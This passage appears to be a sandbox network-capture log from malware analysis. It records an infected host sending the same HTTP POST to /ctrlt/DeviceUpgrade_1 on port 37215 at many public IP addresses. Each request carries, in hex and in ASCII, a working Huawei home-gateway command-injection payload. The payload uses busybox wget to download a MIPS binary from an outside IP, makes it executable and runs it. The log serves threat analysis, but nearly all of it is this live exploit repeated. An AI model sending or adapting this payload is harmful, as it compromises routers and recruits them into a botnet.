65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1133	192.168.2.13	41584	197.208.138.104	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.847302914 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1134	192.168.2.13	55328	41.161.209.66	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.850028038 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1135	192.168.2.13	46602	156.179.165.89	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.852883101 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1136	192.168.2.13	56664	197.232.35.86	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.855787039 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1137	192.168.2.13	51674	41.153.156.176	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.858494043 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1138	192.168.2.13	42992	156.255.158.232	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.860999107 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1139	192.168.2.13	40494	41.184.95.187	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.864120960 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1140	192.168.2.13	48872	156.83.91.176	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.868472099 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1141	192.168.2.13	50620	156.246.217.114	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.871144056 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1142	192.168.2.13	40364	41.112.103.156	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.873681068 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1143	192.168.2.13	52804	156.76.150.121	37215

Timestamp	Bytes transferred	Direction	Data
